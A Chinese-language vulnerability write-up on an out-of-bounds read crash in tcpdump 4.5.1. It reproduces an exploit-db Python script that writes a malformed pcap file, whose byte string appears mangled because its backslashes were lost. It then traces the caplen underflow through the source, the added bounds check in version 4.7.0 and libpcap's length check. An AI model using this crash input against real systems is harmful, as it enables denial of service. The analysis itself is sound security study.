tcpdump 4.5.1 crash 深入分析

在看WHEREISK0SHL大牛的博客,其分析了tcpdump4.5.1 crash 的原因。跟着做了一下,发现他的可执行程序是经过stripped的,而且整个过程看的比较懵,所以自己重新实现了一下,并从源码的角度分析了该crash形成的原因。

构建环境

kali 2.0
apt install gcc gdb libpcap-dev -y
wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
./configure
make

未修复版本

root@kali32:~# tcpdump --version
tcpdump version 4.5.1
libpcap version 1.8.1

payload(来自exploit-db)

# Exploit Title: tcpdump 4.5.1 Access Violation Crash
# Date: 31st May 2016
# Exploit Author: David Silveiro
# Vendor Homepage: http://www.tcpdump.org
# Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz
# Version: 4.5.1
# Tested on: Ubuntu 14 LTS

from subprocess import call
from shlex import split
from time import sleep

def crash():
    command = 'tcpdump -r crash'

    buffer     =   'xd4xc3xb2xa1x02x00x04x00x00x00x00xf5xff'
    buffer     +=  'x00x00x00Ix00x00x00xe6x00x00x00x00x80x00'
    buffer     +=  'x00x00x00x00x00x08x00x00x00x00<x9c7@xffx00'
    buffer     +=  'x06xa0rx7fx00x00x01x7fx00x00xecx00x01xe0x1a'
    buffer     +=  "x00x17g+++++++x85xc9x03x00x00x00x10xa0&x80x18'"
    buffer     +=  "xfe$x00x01x00x00@x0cx04x02x08n', 'x00x00x00x00"
    buffer     +=  'x00x00x00x00x01x03x03x04'


    with open('crash', 'w+b') as file:
        file.write(buffer)
    try:
        call(split(command))
        print("Exploit successful!             ")
    except:
        print("Error: Something has gone wrong!")


def main():

    print("Author:   David Silveiro                           ")
    print("   tcpdump version 4.5.1 Access Violation Crash    ")

    sleep(2)
    crash()

if __name__ == "__main__":
    main()

执行效果

1542711906438

执行顺序

print_packet
 |
 |-->ieee802_15_4_if_print
        |
        |-->hex_and_asciii_print(ndo_default_print)
                |
                |-->hex_and_ascii_print_with_offset

直接顺着源代码撸就行

> git clone https://github.com/the-tcpdump-group/tcpdump
> git tag
    ...
      tcpdump-4.4.0
    tcpdump-4.5.0
    tcpdump-4.5.1
    tcpdump-4.6.0
    tcpdump-4.6.0-bp
    tcpdump-4.6.1
    tcpdump-4.7.0-bp
    tcpdump-4.7.2
    ...
> git checkout tcpdump-4.5.1

tcpdump.c找到pcap_loop调用

    do {
        status = pcap_loop(pd, cnt, callback, pcap_userdata);
        if (WFileName == NULL) {
            /*
             * We're printing packets.  Flush the printed output,
             * so it doesn't get intermingled with error output.
             */
            if (status == -2) {
                /*
                 * We got interrupted, so perhaps we didn't
                 * manage to finish a line we were printing.
                 * Print an extra newline, just in case.
                 */
                putchar('n');
            }
            (void)fflush(stdout);
        }

问题出在调用pcap_loopcallback函数中。根据源码callback函数指向

callback = print_packet;

函数print_packet

static void
print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp)
{
    struct print_info *print_info;
    u_int hdrlen;

    ++packets_captured;

    ++infodelay;
    ts_print(&h->ts);

    print_info = (struct print_info *)user;

    /*
     * Some printers want to check that they're not walking off the
     * end of the packet.
     * Rather than pass it all the way down, we set this global.
     */
    snapend = sp + h->caplen;

        if(print_info->ndo_type) {
                hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp);<====
        } else {
                hdrlen = (*print_info->p.printer)(h, sp);
        }
    ...
    putchar('n');

    --infodelay;
    if (infoprint)
        info(0);
}

其中(*print_info->p.ndo_printer)(print_info->ndo, h, sp)指向ieee802_15_4_if_print

1543285169700

函数ieee802_15_4_if_print


u_int
ieee802_15_4_if_print(struct netdissect_options *ndo,
                      const struct pcap_pkthdr *h, const u_char *p)
{
    u_int caplen = h->caplen;
    int hdrlen;
    u_int16_t fc;
    u_int8_t seq;

    if (caplen < 3) {
        ND_PRINT((ndo, "[|802.15.4] %x", caplen));
        return caplen;
    }

    fc = EXTRACT_LE_16BITS(p);
    hdrlen = extract_header_length(fc);

    seq = EXTRACT_LE_8BITS(p + 2);

    p += 3;
    caplen -= 3;

    ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));
    if (vflag)
        ND_PRINT((ndo,"seq %02x ", seq));
    if (hdrlen == -1) {
        ND_PRINT((ndo,"malformed! "));
        return caplen;
    }

    if (!vflag) {
        p+= hdrlen;
        caplen -= hdrlen;     <====== 引起错误位置
    } else {
        ...
        caplen -= hdrlen;
    }

    if (!suppress_default_print)
        (ndo->ndo_default_print)(ndo, p, caplen);

    return 0;
}

跟踪进入

1543288222918

libpcap在处理不正常包时不严谨,导致包的头长度hdrlen竟然大于捕获包长度caplen,并且在处理时又没有相关的判断,这里后续再翻看一下源码。

hdrlencaplen都是非负整数,导致caplen==0xfffffff3过长。继续跟进hex_and_asciii_print(ndo_default_print)

void
hex_and_ascii_print(register const char *ident, register const u_char *cp,
    register u_int length)
{
    hex_and_ascii_print_with_offset(ident, cp, length, 0);
}

其中length==0xfffffff3继续

void
hex_print_with_offset(register const char *ident, register const u_char *cp, register u_int length,
              register u_int oset)
{
    register u_int i, s;
    register int nshorts;

    nshorts = (u_int) length / sizeof(u_short);
    i = 0;
    while (--nshorts >= 0) {
        if ((i++ % 8) == 0) {
            (void)printf("%s0x%04x: ", ident, oset);
            oset += HEXDUMP_BYTES_PER_LINE;
        }
        s = *cp++;   <======= 抛出错误位置
        (void)printf(" %02x%02x", s, *cp++);
    }
    if (length & 1) {
        if ((i % 8) == 0)
            (void)printf("%s0x%04x: ", ident, oset);
        (void)printf(" %02x", *cp);
    }
}

nshorts=(u_int) length / sizeof(u_short) => nshorts=0xfffffff3/2=‭7FFFFFF9‬

1543289390163

但数据包数据没有这么长,导致了crash。感觉这个bug跟libpcaptcpdump都有关系,再来看看修复情况。

 

修复测试

修复版本

root@kali32:~# tcpdump --version
tcpdump version 4.7.0-PRE-GIT_2018_11_19
libpcap version 1.8.1

libpcap依然是apt安装的默认版本,tcpdump使用4.7 .0-bp版本

git checkout tcpdump-4.7.0-bp

测试一下

gdb-peda$ run -r crash
Starting program: /usr/local/sbin/tcpdump -r crash
reading from file crash, link-type IEEE802_15_4_NOFCS (IEEE 802.15.4 without FCS)
04:06:08.000000 IEEE 802.15.4 Beacon packet 
tcpdump: pcap_loop: invalid packet capture length 385882848, bigger than maximum of 262144
[Inferior 1 (process 8997) exited with code 01]

pcap_loop中发现数据包长度过长,发生了错误并输出错误提示。

这里有一个比较难理解的地方,两个测试版本libpcap是相同的,那么对应的pcap_loop也就是一样的,为什么一个版本pcap_loop出错了,而另一个则没有。为了找到这出这个疑问,我连续用了一周的时间去测试。

依然顺着这个结构走一遍

print_packet
 |
 |-->ieee802_15_4_if_print
        |
        |-->hex_and_asciii_print(ndo_default_print)
                |
                |-->hex_and_ascii_print_with_offset

比较print_packet两个版本的区别

1543284168411

snapend原本是利用一个变量存放,这里存放在了结构体ndo里,表示数据包最后一个数据位置。

跟进ieee802_15_4_if_print,首先看一下版本比较

1543297727522

可以看到没有比较大的变化,主要就是将一些标志位放在了ndo结构体中。

执行结果

1543297947132

可以看到目前的结果和4.5.1版本中是一样的。

继续跟进hex_and_ascii_print_with_offset,首先查看一下版本比较

1543306088706

代码一开始就增加了一个caplength的判断

caplength = (ndo->ndo_snapend >= cp) ? ndo->ndo_snapend - cp : 0;
if (length > caplength)
    length = caplength;
nshorts = length / sizeof(u_short);
i = 0;
hsp = hexstuff; asp = asciistuff;
while (--nshorts >= 0) {
    ...
}

增加了这个判断,即可修复该错误。

1543306755958

可以看到执行完caplength = (ndo->ndo_snapend >= cp) ? ndo->ndo_snapend - cp : 0;caplength为0,继续执行,可以推出length同样为0,到这里已经不会发生错误了。

 

跟踪错误输出

其实细心一点,还可以发现修复完后,会输出不一样的处理信息

reading from file crash, link-type IEEE802_15_4_NOFCS (IEEE 802.15.4 without FCS)
04:06:08.000000 IEEE 802.15.4 Beacon packet 
tcpdump: pcap_loop: invalid packet capture length 385882848, bigger than maximum of 262144
[Inferior 1 (process 8997) exited with code 01]

该错误信息是通过pcap_loop输出的,在libpcap定位一下该错误处理,可以发现其在pcap_next_packet函数中

static int
pcap_next_packet(pcap_t *p, struct pcap_pkthdr *hdr, u_char **data)
{
    ...
    if (hdr->caplen > p->bufsize) {
        /*
         * This can happen due to Solaris 2.3 systems tripping
         * over the BUFMOD problem and not setting the snapshot
         * correctly in the savefile header.
         * This can also happen with a corrupted savefile or a
         * savefile built/modified by a fuzz tester.
         * If the caplen isn't grossly wrong, try to salvage.
         */
        size_t bytes_to_discard;
        size_t bytes_to_read, bytes_read;
        char discard_buf[4096];

        if (hdr->caplen > MAXIMUM_SNAPLEN) {    <===== 判断是否超过最大值
            pcap_snprintf(p->errbuf, PCAP_ERRBUF_SIZE,
                "invalid packet capture length %u, bigger than "
                "maximum of %u", hdr->caplen, MAXIMUM_SNAPLEN);
            return (-1);
        }
        ...

还是那个问题,都是同样的libpcap版本,4.7.0输出的是pcap_next_packet中的错误信息,但是4.5.1却直接访问异常了?

经过不停的测试,我是这么理解的:

4.7.0中对长度进行了判断,导致不合规的length没有被处理,从而导致pcap_loop中又重新进行了一次pcap_next_packet

pcap_loop
  |
  |--> pcap_next_packet => 第一次在hex_and_ascii_print_with_offset中length为0
         |
         |--> pcap_next_packet => 第二次hdr->caplen > MAXIMUM_SNAPLEN

执行测试

确定IDA映射地址

1543319602789

pcap_loop函数会调用pcap_read_offline(具体可查看libpcap源码),在pcap_read_offline函数中

.text:B7F99BC7                 push    edi
.text:B7F99BC8                 push    [esp+58h+var_40]
.text:B7F99BCC                 mov     eax, [esp+5Ch+var_44]
.text:B7F99BD0                 call    eax             ; callback(调用print_packet)
.text:B7F99BD2                 add     esp, 10h
            ...
.text:B7F99BED                 push    [esp+50h+var_48]
.text:B7F99BF1                 push    edi
.text:B7F99BF2                 push    ebp
.text:B7F99BF3                 call    dword ptr [ebp+4] ; 调用pcap_next_packet
.text:B7F99BF6                 add     esp, 10h
.text:B7F99BF9                 test    eax, eax
.text:B7F99BFB                 jnz     short loc_B7F99C30
.text:B7F99BFD                 mov     edx, [ebp+8Ch]
.text:B7F99C03                 mov     eax, [esp+4Ch+var_34]
.text:B7F99C07                 test    edx, edx
.text:B7F99C09                 jz      short loc_B7F99BC0
.text:B7F99C0B                 push    [esp+4Ch+var_28] ; u_int
.text:B7F99C0F                 push    [esp+50h+var_24] ; u_int
.text:B7F99C13                 push    eax             ; u_char *
.text:B7F99C14                 push    edx             ; struct bpf_insn *
.text:B7F99C15                 call    _bpf_filter

比较重要的函数有callbackpcap_next_packet,在pcap_next_packet设置断点

第一次到断点

1543320519522

执行查看返回值

1543320662783

对照ida

1543320704084

可以看到返回0,会执行一遍callback,即打印函数。之后会因为length=0结束

第二次pcap_next_packet

1543321043409

跟进去 以确定caplen具体的值,并确认判断条件(这里无论是分析libpcap源码,还是ida伪码都可以),查看ida伪码

signed int __cdecl pcap_next_packet_B7F9A050(int a1, unsigned int *a2, _DWORD *a3)
{

  ...

  unsigned int v33; // [esp+Ch] [ebp-1040h]
  unsigned int v34; // [esp+14h] [ebp-1038h]
  unsigned int v35; // [esp+18h] [ebp-1034h]
  size_t n; // [esp+1Ch] [ebp-1030h]
  unsigned int v37; // [esp+20h] [ebp-102Ch]
  char ptr; // [esp+2Ch] [ebp-1020h]
  unsigned int v39; // [esp+102Ch] [ebp-20h]

  v3 = a2;
  v4 = *(a1 + 36);
  v5 = *(a1 + 44);
  v39 = __readgsdword(0x14u);
  stream = v5;
  /*
   v34是一个结构体
   str_v34 {
       u_int_t v34;
       u_int_t v35;
       size_t n; // caplen
       u_int_t v37;
   }
  */
  v6 = __fread_chk(&v34, 24, 1, *v4, v5); //这里下断点查看n的值
  if ( *v4 == v6 )
  {
    caplen = n;
    v8 = v37;
    v9 = v35;
    v33 = v34;
    if ( *(a1 + 40) )
    {
      caplen = _byteswap_ulong(n); 
      v21 = _byteswap_ulong(v37);
      v22 = _byteswap_ulong(v35);
      a2[2] = caplen;
      a2[3] = v21;
      a2[1] = v22;
      *a2 = _byteswap_ulong(v33);
      v10 = v4[2];
      if ( v10 != 1 )
      {
LABEL_4:
        if ( v10 == 2 )
          a2[1] = a2[1] / 1000;
        v11 = v4[1];
        if ( v11 != 1 )
        {
LABEL_7:
          if ( v11 != 2 || (v23 = a2[3], v23 >= caplen) )
          {
LABEL_8:
            bufsize = *(a1 + 16);
            if ( bufsize >= caplen )
            {
              if ( a2[2] == fread(*(a1 + 20), 1u, caplen, stream) )
              {
LABEL_30:
                v26 = *(a1 + 20);
                result = *(a1 + 40);
                *a3 = v26;
                if ( result )
                {
                  sub_B7F9C580(*(a1 + 68), v3, v26);
                  result = 0;
                }
                goto LABEL_27;
              }
              v27 = a1 + 144;
              if ( ferror(stream) )
              {
                v28 = __errno_location();
                v29 = pcap_strerror(*v28);
                __snprintf_chk(v27, 256, 1, 257, "error reading dump file: %s", v29);
              }
              else
              {
                __snprintf_chk(
                  v27,
                  256,
                  1,
                  257,
                  "truncated dump file; tried to read %u captured bytes, only got %lu",
                  a2[2]);
              }
            }
            else if ( caplen > 0x40000 ) // 下断点,执行判断
            {
              __snprintf_chk(
                a1 + 144,
                256,
                1,
                257,
                "invalid packet capture length %u, bigger than maximum of %u",
                caplen);
            }
     ...

查看n

1543325099490

在比较处下断点,测试是否大于最大值0x40000

1543325185664

大于最大值,会将错误信息返回pcap_loop

1543325248324

至此整个过程分析完毕,包括具体的出错原因,修补代码都做了详细分析

 

参考

exploit-db payload

WHEREISK0SHL分析博客

libpcap/tcpdump源码

(完)